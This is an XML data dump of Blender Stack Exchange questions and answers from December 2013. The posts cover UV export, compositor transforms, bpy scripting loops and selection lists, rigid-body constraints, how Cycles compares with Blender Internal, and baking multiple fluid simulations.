  <row Id="5807" PostTypeId="2" ParentId="5806" CreationDate="2013-12-26T11:11:11.743" Score="4" Body="&lt;p&gt;If you have unwrapped an object and you are in edit mode (so that you can see the unwrapped object in the UV editor) there should be an UV menu. Here a three screenshots to show how it should look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kc6io.png&quot; alt=&quot;Here should the UV menu be&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qpRAV.png&quot; alt=&quot;The export option in the UV menu&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zcwxO.png&quot; alt=&quot;The export dialog&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="633" LastActivityDate="2013-12-26T11:11:11.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5808" PostTypeId="1" AcceptedAnswerId="5809" CreationDate="2013-12-26T11:20:59.563" Score="1" ViewCount="86" Body="&lt;p&gt;Currently, I have this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0BUT7.png&quot; alt=&quot;Current diagram&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I need space!:!&lt;img src=&quot;https://i.stack.imgur.com/JSFmg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see above, I need space to write text on the right, while keeping the background gradient. &#xA;I had a look here: &lt;a href=&quot;https://blender.stackexchange.com/questions/2376/how-can-i-resize-move-the-canvas-of-an-image-in-the-compositor&quot;&gt;How can I resize/move the &amp;quot;canvas&amp;quot; of an image in the compositor?&lt;/a&gt;&#xA;But it doesn't seem to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an example of my current compositing:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lWjrQ.png&quot; alt=&quot;http://i.stack.imgur.com/lWjrQ.png&quot;&gt;&#xA;.blend file: &lt;a href=&quot;http://www.filedropper.com/xtruder22_1&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.filedropper.com/xtruder22_1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many Thanks&lt;/p&gt;&#xA;" OwnerUserId="1526" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2013-12-26T14:29:08.527" Title="How to move render to the left for space for text?" Tags="&lt;compositor&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5809" PostTypeId="2" ParentId="5808" CreationDate="2013-12-26T14:29:08.527" Score="6" Body="&lt;p&gt;You can use the Transform node, for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZLrnU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2013-12-26T14:29:08.527" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5810" PostTypeId="1" CreationDate="2013-12-26T15:36:35.723" Score="0" ViewCount="4360" Body="&lt;p&gt;I am writing a Python script, and I need to repeat one line of code 24 times. How can I do that? I tried a for and while loop, and still cannot get it to repeat.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def selectView():&#xA;    bpy.context.area.type = 'VIEW_3D'&#xA;    screen = bpy.context.window.screen&#xA;    for area in screen.areas:&#xA;        if area.type == 'VIEW_3D':&#xA;            for region in area.regions:&#xA;                if region.type == 'WINDOW':&#xA;                    override = {'window': bpy.context.window, 'screen': screen, 'area': area, 'region': region}&#xA;                    for i in range(0, 23):               &#xA;                        bpy.ops.view3d.view_orbit(override, type='ORBITDOWN')&#xA;                        bpy.ops.view3d.select_border(override, gesture_mode=3, xmin=-1200, xmax=1000, ymin=-1000, ymax=1000, extend=True)&#xA;                        print(i)&#xA;selectView()&#xA;bpy.context.area.type = 'TEXT_EDITOR'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What this is supposed to do is go in a circle and select the vertices on the outside of a model. Unfortunately, it is only moving the camera once and selecting everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help!&lt;/p&gt;&#xA;" OwnerUserId="1828" LastEditorUserId="55" LastEditDate="2013-12-26T15:37:27.540" LastActivityDate="2013-12-28T13:55:31.027" Title="Repeat a Python function multiple times" Tags="&lt;python&gt;&lt;scripting&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5811" PostTypeId="2" ParentId="5793" CreationDate="2013-12-26T16:29:50.507" Score="0" Body="&lt;p&gt;While Leon's answer will work, he also hints that you need to understand how UV coordinates work, or you're going to continue having this same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short of explaining UVs, I can offer you a better answer. The main cause of the problem is that your test texture is not the same aspect ratio as your final texture. If your test texture is the same aspect ratio (not necessarily the same resolution, but that would also work) as your real texture, then you can swap between your test texture and your final texture without having to adjust anything at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main reason I'm interested in offering an addition solution is that there's a REASON it works this way. If you circumvent that reason, you loose the benefits that come along with it. E.g. Leon's answer doesn't do you much good if you spent 3 hours using the test texture to manually tweak the UV layout (which is a great idea, and you should keep using the test texture). If you then have to re-unwrap for use with the real texture, you've just lost all that work. Even manually scaling it is imprecise, at best. However, if your aspect ratios are the same, then you can change from one texture to the other, without having to adjust at all, because it automatically scales to the size of the new texture ;-) Which is why it's a feature...&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2013-12-26T16:29:50.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5812" PostTypeId="2" ParentId="5810" CreationDate="2013-12-26T17:03:37.707" Score="3" Body="&lt;p&gt;While I think there must be a more elegant way to accomplish what you are trying to do, the problem lies in the fact that Blender isn't updating the scenegraph when it's deep inside the Python loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can force an update and redraw with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# bpy.types.Scene.update()&#xA;bpy.context.scene.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.wm.redraw_timer(type='DRAW_WIN_SWAP', iterations=1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: calling &lt;code&gt;bpy.ops.wm.redraw_timer&lt;/code&gt; is very much a &lt;strong&gt;hack&lt;/strong&gt;, since scripts are not supposed to be forcing redraws, however it does work.&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="1363" LastEditDate="2013-12-28T13:55:31.027" LastActivityDate="2013-12-28T13:55:31.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5813" PostTypeId="1" CreationDate="2013-12-26T17:47:25.127" Score="3" ViewCount="426" Body="&lt;p&gt;I am interested in creating a script that would prompt the user to either set up or starting working in a set of project folders when blender starts up.  Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;more details...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping to do this as a modal pop-up prompting the user whether they would like to create a new project file.  If yes, then present them with a dialog window that would allow them to either accept a set of defaults that they can create/save or alter for specific use in any given project.  For instance, a VFX project would likely need a place for media files but would probably not need a folder for a rig(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps this will be a moot point with the work going on in asset management now.  &lt;/p&gt;&#xA;" OwnerUserId="809" LastEditorUserId="809" LastEditDate="2013-12-28T14:32:28.903" LastActivityDate="2015-08-08T13:28:11.963" Title="Is it possible to execute an add-on when choosing 'New' to open the default file?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5816" PostTypeId="1" AcceptedAnswerId="150323" CreationDate="2013-12-26T23:05:14.443" Score="4" ViewCount="1470" Body="&lt;p&gt;In the game engine there is an option to constrain rigid body translations and rotations on an axis:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tQ4UZ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Is it possible to do this with the 3D view rigid body physics system?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2019-08-30T15:28:53.210" Title="How to constrain rigid bodies to an axis?" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5817" PostTypeId="2" ParentId="5781" CreationDate="2013-12-27T00:06:37.693" Score="4" Body="&lt;p&gt;PyMEL's &lt;a href=&quot;http://download.autodesk.com/us/maya/2011help/PyMel/generated/functions/pymel.core.general/pymel.core.general.ls.html#pymel.core.general.ls&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;ls&lt;/code&gt;&lt;/a&gt; seems to roll several related functions into one (match by type, name, regexp-pattern, etc.). There's no such function built in to Blender's Python API, so you must create selection list manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to know what element you need to process. If it's a list of &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_7/bpy.types.MeshVertex.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;MeshVertex&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_7/bpy.types.MeshEdge.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;MeshEdge&lt;/code&gt;&lt;/a&gt; or &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_7/bpy.types.MeshPolygon.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;MeshPolygon&lt;/code&gt;&lt;/a&gt;, filter out objects whose &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_7/bpy.types.Object.html#bpy.types.Object.type&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;type&lt;/code&gt;&lt;/a&gt; isn't &lt;code&gt;&quot;MESH&quot;&lt;/code&gt;. It's also possible that edit-mode and object-mode data isn't synced, which will happen if the script is run when the object is in edit-mode (presumably while the user's selecting elements). To make the correct selection list regardless of the object's state, run &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_7/bpy.types.Object.html#bpy.types.Object.update_from_editmode&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;update_from_editmode&lt;/code&gt;&lt;/a&gt; beforehand. Then you can create the list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.object&#xA;mesh = obj.data # Assumed that obj.type == 'MESH'&#xA;obj.update_from_editmode() # Loads edit-mode data into object data&#xA;&#xA;selected_polygons = [p for p in mesh.polygons if p.select]&#xA;selected_edges = [e for e in mesh.vertices if e.select]&#xA;selected_vertices = [v for v in mesh.vertices if v.select]&#xA;&#xA;# ... process selection list...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This also applies to the newer mesh editing API &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_7/bmesh.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bmesh&lt;/code&gt;&lt;/a&gt; and also other object types (check the API doc's &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_7/genindex.html#S&quot; rel=&quot;nofollow&quot;&gt;index&lt;/a&gt; if the element needed has a &lt;code&gt;select*&lt;/code&gt; attribute), though can be a bit more involving for some types. For example, a curve object can contain more than one spline, so iteration over each splines must be &lt;a href=&quot;http://docs.python.org/3/library/itertools.html#itertools.chain&quot; rel=&quot;nofollow&quot;&gt;chain&lt;/a&gt;ed in some way to reach all &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_7/bpy.types.BezierSplinePoint.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BezierSplinePoint&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from itertools import chain&#xA;&#xA;obj = bpy.context.object&#xA;curve = obj.data # Assumed that obj.type == 'CURVE'&#xA;obj.update_from_editmode() # Loads edit-mode data into object data&#xA;&#xA;selected_cpoints = [p for p in chain(*[s.bezier_points for s in curve.splines])&#xA;                    if p.select_control_point]&#xA;&#xA;# ... process selection list...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-12-27T00:06:37.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5819" PostTypeId="2" ParentId="5816" CreationDate="2013-12-27T02:47:30.290" Score="2" Body="&lt;p&gt;This is currently supported &lt;strong&gt;only&lt;/strong&gt; in the Game Engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a possible workaround, you could bake the simulation to keyframes and then remove the transform channels which you don't want.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="599" LastEditDate="2013-12-27T04:39:27.657" LastActivityDate="2013-12-27T04:39:27.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5820" PostTypeId="1" AcceptedAnswerId="5821" CreationDate="2013-12-27T02:52:44.297" Score="84" ViewCount="81065" Body="&lt;p&gt;How does Cycles work and how is it different from Blender Internal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is better?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2021-01-22T04:05:04.143" Title="How is Cycles different from Blender Internal?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="31" ContentLicense="CC BY-SA 3.0" />
  <row Id="5821" PostTypeId="2" ParentId="5820" CreationDate="2013-12-27T02:52:44.297" Score="100" Body="&lt;h1&gt;Cycles&lt;/h1&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://wiki.blender.org/wiki/Source/Render/Cycles/DesignGoals&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cycles is unbiased&lt;/a&gt;, physically based, &lt;a href=&quot;https://en.wikipedia.org/wiki/Path_tracing&quot; rel=&quot;nofollow noreferrer&quot;&gt;*path tracing&lt;/a&gt; engine* &lt;a href=&quot;https://wiki.blender.org/wiki/Source/Render/Cycles/Roadmap&quot; rel=&quot;nofollow noreferrer&quot;&gt;designed for animations&lt;/a&gt;, which means that it produces an image by tracing the paths of &amp;quot;rays&amp;quot; through the scene.&lt;br /&gt;&#xA;Specifically, cycles is a &amp;quot;backwards&amp;quot; path tracer, which means that it traces light rays by sending them from the camera instead of sending them from the light source(s).&lt;/p&gt;&#xA;&lt;p&gt;From &lt;a href=&quot;https://en.wikipedia.org/wiki/Path_tracing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Path tracing is a computer graphics method of rendering images of three-dimensional scenes such that the global illumination is faithful to reality. Fundamentally, the algorithm is integrating over all the illuminance arriving at a single point on the surface of an object. This illuminance is then reduced by a surface reflectance function to determine how much of it will go towards the viewpoint camera. This integration procedure is repeated for every pixel in the output image. When combined with physically accurate models of surfaces, accurate models of real light sources (light bulbs), and optically-correct cameras, path tracing can produce still images that are indistinguishable from photographs.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Path tracing naturally simulates many effects that have to be specifically added to other methods (conventional ray tracing or scanline rendering), such as soft shadows, depth of field, motion blur, caustics, ambient occlusion, and indirect lighting. Implementation of a renderer including these effects is correspondingly simpler.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Due to its accuracy and unbiased nature, path tracing is used to generate reference images when testing the quality of other rendering algorithms. In order to get high-quality images from path tracing, a large number of rays must be traced to avoid visible noisy artifacts.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;To visualize this, take the following image:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/agQxu.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The pixel the gray ray was sent from will be dark, as it did not encounter any light sources. The pixel from which the orange-ray was sent will be bright, as it hit a light source after bouncing off a diffuse object.&lt;/p&gt;&#xA;&lt;p&gt;Most materials scatter light, so Cycles needs to account for light bouncing in different directions. How this is done depends on which &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/cycles/settings/scene/render/integrator.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Integrator&lt;/em&gt;&lt;/a&gt; is used.&lt;/p&gt;&#xA;&lt;h2&gt;Progressive Integrator&lt;/h2&gt;&#xA;&lt;p&gt;When using the &lt;em&gt;Progressive integrator&lt;/em&gt;, this is done by taking multiple &lt;em&gt;samples&lt;/em&gt; of the scene.&#xA;A &lt;em&gt;sample&lt;/em&gt; refers to a single ray being sent from each pixel. For materials that scatter light, many samples are required to account for every possible angle at which a ray could be reflected/transmitted.&lt;/p&gt;&#xA;&lt;h2&gt;Branched Path Integrator&lt;/h2&gt;&#xA;&lt;p&gt;The &lt;em&gt;Branched path integrator&lt;/em&gt; splits the ray at the first bounce.&lt;/p&gt;&#xA;&lt;p&gt;To visualize this, take the following animation:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q7Qva.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;For more information on the mechanics of cycles, see the following questions:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/261/599&quot;&gt;What are the differences between lamps in Cycles and Blender Internal?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/5711/599&quot;&gt;How are cycles lamp types different?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/2274/599&quot;&gt;Why can&amp;#39;t cycles cast one ray per image pixel, instead of rendering progressively to infinity?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/2787/599&quot;&gt;Why does Cycles sampling give diminishing returns?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/3256/599&quot;&gt;What is branched path tracing and how is it useful?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/10434/599&quot;&gt;Spherical emitter does not illuminate very well?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;Blender Internal&lt;/h1&gt;&#xA;&lt;p&gt;BI is a biased &lt;em&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Rendering_%28computer_graphics%29#Scanline_rendering_and_rasterisation&quot; rel=&quot;nofollow noreferrer&quot;&gt;rasterization&lt;/a&gt; engine&lt;/em&gt;, which means that it works by calculating which objects are visible to the camera and not by simulating the behavior of light.&lt;/p&gt;&#xA;&lt;h1&gt;Comparison&lt;/h1&gt;&#xA;&lt;p&gt;Neither engine is necessarily &amp;quot;better&amp;quot;, they both have strengths and weakness.&lt;/p&gt;&#xA;&lt;p&gt;To visualize some of the differences between BI and Cycles, take the following example inspired by &lt;a href=&quot;https://www.diyphotography.net/can-you-make-computerized-shaped-bokeh&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mike Pan's shaped bokeh demonstration&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In cycles this works because cycles is actually simulating light, so you will get a result similar to what you would get in the real world:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b6gQ0.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In BI, however, this does not work because the plane is calculated as &amp;quot;visible&amp;quot;, and then everything behind it is obscured:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PJoYI.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;There are &lt;strong&gt;many&lt;/strong&gt; more differences between cycles and BI, such as &lt;em&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Caustic_%28optics%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;caustics&lt;/a&gt;&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cycles can render caustics, however, due to its backward path tracing nature, rendering caustics under some conditions can be hard to the point of practically impossible. There are algorithms such as &lt;a href=&quot;https://en.wikipedia.org/wiki/Path_tracing#Bidirectional_path_tracing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bidirectional path tracing&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/Metropolis_light_transport&quot; rel=&quot;nofollow noreferrer&quot;&gt;Metropolis Light Transport&lt;/a&gt; (MLT) that are good at rendering caustics, unfortunately &lt;a href=&quot;https://wiki.blender.org/index.php/Dev:2.6/Source/Render/Cycles/Roadmap#Not_Priorities&quot; rel=&quot;nofollow noreferrer&quot;&gt;there are no plans to implement these in cycles anytime soon&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: There is now a &lt;a href=&quot;https://developer.blender.org/T38401&quot; rel=&quot;nofollow noreferrer&quot;&gt;working patch&lt;/a&gt; for &lt;a href=&quot;https://en.wikipedia.org/wiki/Metropolis_light_transport&quot; rel=&quot;nofollow noreferrer&quot;&gt;metropolis sampling&lt;/a&gt;, which also includes working adaptive sampling and stopping for the existing path tracing integrator. There are also &lt;a href=&quot;https://developer.blender.org/T38401#271&quot; rel=&quot;nofollow noreferrer&quot;&gt;plans to add lightgroups and PIS to the same patch&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;BI cannot render caustics, however &lt;a href=&quot;https://www.youtube.com/watch?v=gIT1g_LMd3E&quot; rel=&quot;nofollow noreferrer&quot;&gt;there is a workaround&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This does not necessarily make cycles &amp;quot;better&amp;quot;, for instance, BI usually renders noiseless images while cycles must sample a scene many times to reduce the noise to an acceptable level.&lt;/p&gt;&#xA;&lt;p&gt;Both rendering engines have different advantages, which one is best depends on what you want.&lt;/p&gt;&#xA;&lt;h1&gt;Switching Render Engines&lt;/h1&gt;&#xA;&lt;p&gt;One thing to keep in mind is that each render engine is fundamentally different and so are its settings and most importantly its material and texture definitions. As such you can't render Cycles materials in Blender internal, and the opposite is also true.&lt;/p&gt;&#xA;&lt;p&gt;Materials designed for one render engine will mostly only work for that one render engine they were created for. You have to stick with your choice, if you created a scene for Cycles you must always render it in Cycles, and vice versa; you can't just switch at will and expect things to work. At least, not without recreating all of your materials.&lt;/p&gt;&#xA;&lt;p&gt;Check the active render engine in the header of the Window. The currently active render engine at any moment will determine which type of materials is created when you press the &lt;em&gt;+&lt;/em&gt; button to add a new one.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="22951" LastEditDate="2021-01-22T04:05:04.143" LastActivityDate="2021-01-22T04:05:04.143" CommentCount="0" CommunityOwnedDate="2013-12-27T03:00:00.663" ContentLicense="CC BY-SA 4.0" />
  <row Id="5822" PostTypeId="1" AcceptedAnswerId="5823" CreationDate="2013-12-27T07:11:18.947" Score="11" ViewCount="8458" Body="&lt;p&gt;If we understood correctly, Blender does not allow more than one &lt;em&gt;domain&lt;/em&gt; for fluid simulation in a given scene. This means that any &lt;em&gt;inflow&lt;/em&gt; (&lt;em&gt;fluid&lt;/em&gt;) object will be transformed into only one &lt;em&gt;domain&lt;/em&gt; object as the final simulated fluid. That is, regardless to any material assigned to inflow (fluid) objects, ultimately the domain material will apply. This causes difficulties to experience mixing fluids as questioned &lt;a href=&quot;https://blender.stackexchange.com/questions/5469/different-materials-for-each-fluid-inflow&quot;&gt;here&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In our recent trial in the following figures in order to simulate two different types of fluid (i.e., different material, etc) we simulated each separately and baked. Now we &lt;strong&gt;question how we can use the resulting images to put the fluids together in one animation&lt;/strong&gt;? We tried to composite but didn't get acceptable results. Is this the correct approach or &lt;strong&gt;is it possible to bake multiple simulations in a scene&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that before we end up with separate baking we played sometime with multiple scenes, different layers but no success in putting two fluids together!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/76V5l.gif&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XK7lO.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1716" LastEditorUserId="29301" LastEditDate="2018-06-21T07:30:44.940" LastActivityDate="2018-06-21T07:30:44.940" Title="How to bake multiple fluid simulations in one scene?" Tags="&lt;physics&gt;&lt;fluid-simulation&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5823" PostTypeId="2" ParentId="5822" CreationDate="2013-12-27T11:29:24.440" Score="6" Body="&lt;p&gt;Here we share our results based on the method explained &lt;a href=&quot;http://users.xplornet.com/~gimble/blender/tutorials/fluid/multi_domain/fluid_multi_domain.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;{here}&lt;/a&gt; and &lt;a href=&quot;https://blender.stackexchange.com/questions/5328/is-it-possible-to-simulate-an-egg/5330#5330&quot;&gt;{here}&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is simple:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1) define domain, fluid, obstacle etc&lt;br&gt;&#xA;  2) assign unique folder for baking cache&lt;br&gt;&#xA;  3) bake the fluid one&lt;br&gt;&#xA;  4) remove domain and fluid associations&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Repeat the above as many times you want (here in the following example we did it three times).&#xA;&lt;strong&gt;Trick:&lt;/strong&gt;  Indeed, for the following example we just baked once. Then we copied domain+obstacle two times. Relocated them on the scene. Duplicated all the cache on the disk two times in two folders that later we assigned in the above algorithm :))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We also used &lt;code&gt;offset frame&lt;/code&gt; just to make the fluids a little bit different in stage:)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: domains can overlap or whatever, but notice that the fluids do not interact each other but overlay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M5XYD.png&quot; alt=&quot;snapshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yRI6s.gif&quot; alt=&quot;animation&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1716" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2013-12-27T11:29:24.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5824" PostTypeId="1" CreationDate="2013-12-27T15:03:34.973" Score="2" ViewCount="174" Body="&lt;p&gt;I am writing some app to control Blender by gestures using MS Kinect. I saw few examples, like adding cubes etc, but i would like to know is there an option to use API to change view, rotate or move object smoothly as doing it by mouse. I know that i can use for example:&#xA;    bpy.ops.view3d.view_pan()&#xA;but it will happen instantly, not as doing it by mouse.&#xA;The second question is can I use Blender API to execute python scripts one after other. I mean, is there option to run script by external program, not by clicking in blender &quot;run script&quot;? This is necessary if I want use Kinect without using keyboard or mouse.Thank you in advance for your answer and I'm sorry for my English :)&lt;/p&gt;&#xA;" OwnerUserId="1976" LastActivityDate="2013-12-27T15:03:34.973" Title="Blender API and Kinnect" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
